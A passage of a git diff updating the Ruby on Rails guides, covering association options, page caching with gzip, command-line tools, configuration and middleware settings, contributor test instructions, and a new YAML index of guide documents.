object(s) are accessed. It also adds the additional condition that the object must be in the collection. @@ -1576,7 +1571,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @assembly = @part.assemblies.create( @@ -1585,7 +1580,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_and_belongs_to_many+ -In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Parts < ActiveRecord::Base @@ -1619,7 +1614,7 @@ The +has_and_belongs_to_many+ association supports these options: h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: @@ -1671,7 +1666,7 @@ h6(#has_and_belongs_to_many-counter_sql). +:counter_sql+ Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. -NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement. +NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting the +SELECT ... FROM+ clause of your +:finder_sql+ statement by +SELECT COUNT(*) FROM+. h6(#has_and_belongs_to_many-delete_sql). +:delete_sql+ @@ -1687,7 +1682,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class User < ActiveRecord::Base diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index 19378d63ce..6419d32c13 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -64,7 +64,29 @@ end If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers. -NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL! +By default, page caching automatically gzips files (for example, to +products.html.gz+ if user requests +/products+) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum). + +Nginx is able to serve compressed content directly from disk by enabling +gzip_static+: + +<plain> +location / { + gzip_static on; # to serve pre-gzipped version +} +</plain> + +You can disable gzipping by setting +:gzip+ option to false (for example, if action returns image): + +<ruby> +caches_page :image, :gzip => false +</ruby> + +Or, you can set custom gzip compression level (level names are taken from +Zlib+ constants): + +<ruby> +caches_page :image, :gzip => :best_speed +</ruby> + +NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+. INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job. @@ -72,7 +94,7 @@ h4. Action Caching One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy. -Clearing the cache works in the exact same way as with Page Caching. +Clearing the cache works in a similar way to Page Caching, except you use +expire_action+ instead of +expire_page+. Let's say you only wanted authenticated users to call actions on +ProductsController+. @@ -188,7 +210,7 @@ end You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: <ruby> - expire_action(:controller => 'products', :action => 'edit', :id => product) +expire_action(:controller => 'products', :action => 'edit', :id => product.id) </ruby> Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -293,7 +315,7 @@ Note that the cache will grow until the disk is full unless you periodically cle h4. ActiveSupport::Cache::MemCacheStore -This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcached-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. +This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcache-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. @@ -332,6 +354,14 @@ caches_action :index, :expires_in => 60.seconds, :unless_exist => true For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ . For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html +h4. ActiveSupport::Cache::NullStore + +This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with +Rails.cache+, but caching may interfere with being able to see the results of code changes. With this cache store, all +fetch+ and +read+ operations will result in a miss. + +<ruby> +ActionController::Base.cache_store = :null +</ruby> + h4. Custom Cache Stores You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application. diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index f6b33d283c..fe4a84dae9 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -36,7 +36,7 @@ WARNING: You can install the rails gem by typing +gem install rails+, if you don <shell> $ rails new commandsapp create - create README + create README.rdoc create .gitignore create Rakefile create config.ru @@ -45,8 +45,6 @@ $ rails new commandsapp ... create tmp/cache create tmp/pids - create vendor/plugins - create vendor/plugins/.gitkeep </shell> Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. @@ -81,6 +79,8 @@ The server can be run on a different port using the +-p+ option. The default dev $ rails server -e production -p 4000 </shell> +The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option. + h4. +rails generate+ The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators: @@ -293,18 +293,6 @@ h4. +rails dbconsole+ You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>. -h4. +rails plugin+ - -The +rails plugin+ command simplifies plugin management. Plugins can be installed by name or their repository URLs. You need to have Git installed if you want to install a plugin from a Git repo. The same holds for Subversion too. - -<shell> -$ rails plugin install https://github.com/technoweenie/acts_as_paranoid.git -+ ./CHANGELOG -+ ./MIT-LICENSE -... -... -</shell> - h4. +rails runner+ <tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance: @@ -379,17 +367,17 @@ h4. +about+ <shell> $ rake about About your application's environment -Ruby version 1.8.7 (x86_64-linux) +Ruby version 1.9.3 (x86_64-linux) RubyGems version 1.3.6 -Rack version 1.1 -Rails version 3.1.0 +Rack version 1.3 +Rails version 4.0.0.beta JavaScript Runtime Node.js (V8) -Active Record version 3.1.0 -Action Pack version 3.1.0 -Active Resource version 3.1.0 -Action Mailer version 3.1.0 -Active Support version 3.1.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head +Active Record version 4.0.0.beta +Action Pack version 4.0.0.beta +Active Resource version 4.0.0.beta +Action Mailer version 4.0.0.beta +Active Support version 4.0.0.beta +Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 @@ -413,12 +401,10 @@ The +doc:+ namespace has the tools to generate documentation for your app, API d * +rake doc:app+ generates documentation for your application in +doc/app+. * +rake doc:guides+ generates Rails guides in +doc/guides+. * +rake doc:rails+ generates API documentation for Rails in +doc/api+. -* +rake doc:plugins+ generates API documentation for all the plugins installed in the application in +doc/plugins+. -* +rake doc:clobber_plugins+ removes the generated documentation for all plugins. h4. +notes+ -+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is only done in files with extension +.builder+, +.rb+, +.rxml+, +.rhtml+ and +.erb+ for both default and custom annotations. ++rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension +.builder+, +.rb+, +.erb+, +.haml+ and +.slim+ for both default and custom annotations. <shell> $ rake notes @@ -507,8 +493,8 @@ $ rails new . --git --database=postgresql create tmp/pids create Rakefile add 'Rakefile' - create README -add 'README' + create README.rdoc +add 'README.rdoc' create app/controllers/application_controller.rb add 'app/controllers/application_controller.rb' create app/helpers/application_helper.rb diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index cad2d03c23..7e715ff79f 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -40,7 +40,9 @@ Rails will use that particular setting to configure Active Record. h4. Rails General Configuration -* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers: +These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+. + +* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: <ruby> config.after_initialize do @@ -64,7 +66,7 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is * +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+. -* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+. +* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+. * +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+. @@ -80,21 +82,25 @@ NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is * +config.encoding+ sets up the application-wide encoding. Defaults to UTF-8. +* +config.exceptions_app+ sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to +ActionDispatch::PublicExceptions.new(Rails.public_path)+. + +* +config.file_watcher+ the class used to detect file updates in the filesystem when +config.reload_classes_only_on_change+ is true. Must conform to +ActiveSupport::FileUpdateChecker+ API. + * +config.filter_parameters+ used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. * +config.force_ssl+ forces all requests to be under HTTPS protocol by using +Rack::SSL+ middleware. * +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+. +* +config.log_tags+ accepts a list of methods that respond to +request+ object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. + * +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. * +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below. -* +config.plugins+ accepts the list of plugins to load. The default is +nil+ in which case all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option lets you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them. - * +config.preload_frameworks+ enables or disables preloading all frameworks at startup. Enabled by +config.threadsafe!+. Defaults to +nil+, so is disabled. -* +config.reload_plugins+ enables or disables plugin reloading. Defaults to false. +* +config.reload_classes_only_on_change+ enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If +config.cache_classes+ is true, this option is ignored. * +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+. @@ -146,6 +152,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. +* +config.assets.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to the same configured at +config.logger+. Setting +config.assets.logger+ to false will turn off served assets logging. h4. Configuring Generators @@ -179,16 +186,17 @@ h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. +* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. * +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. -* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. -* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ Notifies the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ Rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. -* +ActionDispatch::RemoteIp+ Checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. -* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request. +* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. +* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. +* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. +* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. +* +ActionDispatch::RequestId+ makes a unique X-Request-Id header available to the response and enables the +ActionDispatch::Request#uuid+ method. +* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. +* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. +* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. * +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. * +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. * +ActionDispatch::Cookies+ sets cookies for the request. @@ -261,6 +269,10 @@ h4. Configuring Active Record * +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app. +* +config.active_record.identity_map+ controls whether the identity map is enabled, and is false by default. + +* +config.active_record.auto_explain_threshold_in_seconds+ configures the threshold for automatic EXPLAINs (+nil+ disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode. + The MySQL adapter adds one additional configuration option: * +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default. @@ -331,7 +343,7 @@ Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</d * +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. -* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging. +* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to +nil+ to disable logging. * +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. @@ -447,7 +459,7 @@ Some parts of Rails can also be configured externally by supplying environment v h3. Using Initializer Files -After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts. +After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts. NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. @@ -461,12 +473,31 @@ Rails has 5 initialization events which can be hooked into (listed in the order * +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. -* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. +* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. * +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment. * +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. +To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass: + +<ruby> +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +</ruby> + +Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: + +<ruby> +Rails.application.config.before_initialize do + # initialization code goes here +end +</ruby> WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. @@ -503,7 +534,7 @@ Serves as a placeholder so that +:load_environment_config+ can be defined to run *+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+. -*+initialize_cache+* If +RAILS_CACHE+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. +*+initialize_cache+* If +Rails.cache+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +Rails.cache+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. *+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. @@ -541,7 +572,7 @@ The error occurred while evaluating nil.each *+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+. -*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +RAILS_CACHE+. +*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +Rails.cache+. *+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through. @@ -583,7 +614,7 @@ The error occurred while evaluating nil.each *+prepend_helpers_path+* Adds the directory +app/helpers+ from the application, railties and engines to the lookup path for helpers for the application. -*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks and plugins are loaded. +*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded. *+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are ran. diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index 30714e7e18..aac5e13978 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -87,21 +87,21 @@ $ bundle install --without db This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with: <shell> -$ rake test +$ bundle exec rake test </shell> You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command: <shell> $ cd actionpack -$ rake test +$ bundle exec rake test </shell> If you want to run tests from the specific directory use the +TEST_DIR+ environment variable. For example, this will run tests inside +railties/test/generators+ directory only: <shell> $ cd railties -$ TEST_DIR=generators rake test +$ TEST_DIR=generators bundle exec rake test </shell> h4. Warnings @@ -111,7 +111,7 @@ The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: <shell> -$ RUBYOPT=-W0 rake test +$ RUBYOPT=-W0 bundle exec rake test </shell> h4. Testing Active Record @@ -120,13 +120,17 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: <shell> $ cd activerecord -$ rake test_sqlite3 +$ bundle exec rake test_sqlite3 </shell> h5. MySQL and PostgreSQL @@ -191,12 +195,12 @@ test_postgresql respectively. As we mentioned before <shell> -$ rake test +$ bundle exec rake test </shell> will now run the four of them in turn. -You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the continuous integration server runs. +You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ to see the test suite that the continuous integration server runs. h4. Older versions of Ruby on Rails @@ -211,7 +215,7 @@ TIP: You may want to "put your git branch name in your shell prompt":http://qugs h3. Helping to Resolve Existing Issues -As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues?sort=created&direction=desc&state=open&page=1 list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: +As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: h4. Verifying Bug Reports @@ -267,6 +271,8 @@ When working with documentation, please take into account the "API Documentation NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +NOTE: To help our CI servers you can add [ci skip] tag to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes. + WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. h3. Contributing to the Rails Code @@ -303,7 +309,7 @@ Rails follows a simple set of coding style conventions. * Two spaces, no tabs. * No trailing whitespace. Blank lines should not have any space. -* Indent after private/protected. +* Outdent private/protected from method definitions. Same indentation as the class/module. * Prefer +&&+/+||+ over +and+/+or+. * Prefer class << self block over self.method for class methods. * +MyClass.my_method(my_arg)+ not +my_method( my_arg )+ or +my_method my_arg+. @@ -332,7 +338,7 @@ It’s pretty likely that other changes to master have happened while you were w <shell> $ git checkout master -$ git pull +$ git pull --rebase </shell> Now reapply your patch on top of the latest changes: @@ -376,9 +382,9 @@ Now you need to get other people to look at your patch, just as you've looked at h4. Iterate as Necessary -It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin. +It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem. -And then...think about your next contribution! +And then ... think about your next contribution! h3. Rails Contributors diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index 3552c68418..57c7786636 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -465,7 +465,7 @@ Now you should know where you are in the running trace and be able to print the Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug. -TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively. +TIP: You can also use <tt>step<plus> n</tt> and <tt>step- n</tt> to move forward or backward +n+ steps respectively. You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. diff --git a/railties/guides/source/documents.yaml b/railties/guides/source/documents.yaml new file mode 100644 index 0000000000..6a47959c3d --- /dev/null +++ b/railties/guides/source/documents.yaml @@ -0,0 +1,157 @@ +- + name: Start Here + documents: + - + name: Getting Started with Rails + url: getting_started.html + description: Everything you need to know to install Rails and create your first application. +- + name: Models + documents: + - + name: Rails Database Migrations + url: migrations.html + description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. + - + name: Active Record Validations and Callbacks + url: active_record_validations_callbacks.html + description: This guide covers how you can use Active Record validations and callbacks. + - + name: Active Record Associations + url: association_basics.html + description: This guide covers all the associations provided by Active Record. + - + name: Active Record Query Interface + url: active_record_querying.html + description: This guide covers the database query interface provided by Active Record. +- + name: Views + documents: + - + name: Layouts and Rendering in Rails + url: layouts_and_rendering.html + description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials. + - + name: Action View Form Helpers + url: form_helpers.html + description: Guide to using built-in Form helpers. +- + name: Controllers + documents: + - + name: Action Controller Overview + url: action_controller_overview.html + description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. + - + name: Rails Routing from the Outside In + url: routing.html + description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here. +- + name: Digging Deeper + documents: + - + name: Active Support Core Extensions + url: active_support_core_extensions.html + description: This guide documents the Ruby core extensions defined in Active Support. + - + name: Rails Internationalization API + url: i18n.html + description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on. + - + name: Action Mailer Basics + url: action_mailer_basics.html + work_in_progress: true + description: This guide describes how to use Action Mailer to send and receive emails. + - + name: Testing Rails Applications + url: testing.html + work_in_progress: true + description: This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy. + - + name: Securing Rails Applications + url: security.html + description: This 